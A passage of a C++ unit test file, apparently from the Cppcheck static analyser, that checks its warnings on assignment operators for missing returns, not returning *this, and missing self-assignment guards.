return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return b; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:10:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis( // #11380\n \"struct S {\\n\"\n \" S& operator=(const S& other) {\\n\"\n \" i = []() { return 42; }();\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis2() {\n // ticket # 1323\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"szp &szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis3() {\n // ticket # 1405\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return (*this = 0); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return (*this = 0); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return operator = (*(int *)other); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return this->operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis( // #9045\n \"class V {\\n\"\n \"public:\\n\"\n \" V& operator=(const V& r) {\\n\"\n \" if (this == &r) {\\n\"\n \" return ( *this );\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis4() {\n // ticket # 1451\n checkOpertorEqRetRefThis(\n \"P& P::operator = (const P& pc)\\n\"\n \"{\\n\"\n \" return (P&)(*this += pc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis5() {\n // ticket # 1550\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"protected:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"private:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" throw std::exception();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" abort();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A :: operator=(const A &a) { }\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis6() { // ticket #2478 (segmentation fault)\n checkOpertorEqRetRefThis(\n \"class UString {\\n\"\n \"public:\\n\"\n \" UString& assign( const char* c_str );\\n\"\n \" UString& operator=( const UString& s );\\n\"\n \"};\\n\"\n \"UString& UString::assign( const char* c_str ) {\\n\"\n \" std::string tmp( c_str );\\n\"\n \" return assign( tmp );\\n\"\n \"}\\n\"\n \"UString& UString::operator=( const UString& s ) {\\n\"\n \" return assign( s );\\n\"\n \"}\");\n }\n\n void operatorEqRetRefThis7() { // ticket #5782 Endless recursion in CheckClass::checkReturnPtrThis()\n checkOpertorEqRetRefThis(\n \"class basic_fbstring {\\n\"\n \" basic_fbstring& operator=(int il) {\\n\"\n \" return assign();\\n\"\n \" }\\n\"\n \" basic_fbstring& assign() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replaceImplDiscr() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replace() {\\n\"\n \" return replaceImplDiscr();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal checks for assignment to self\n#define checkOpertorEqToSelf(...) checkOpertorEqToSelf_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqToSelf_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.operatorEqToSelf();\n }\n\n void operatorEqToSelf1() {\n // this test has an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { if (&a != this) { } return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this class needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { if (&a != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a == this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) == true)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) != false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (!((&a == this) == false))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a != this) == false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" free(s);\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n\n // this test needs an assignment test but doesn’t have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // ticket #1224\n checkOpertorEqToSelf(\n \"const SubTree &SubTree::operator= (const SubTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(*b.tree);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"const SubTree &SubTree::operator= (const CodeTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(b);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void operatorEqToSelf2() {\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { if (&b != this) { } return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { if (&b != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"[test.cpp:11:14]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf3() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf4() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & 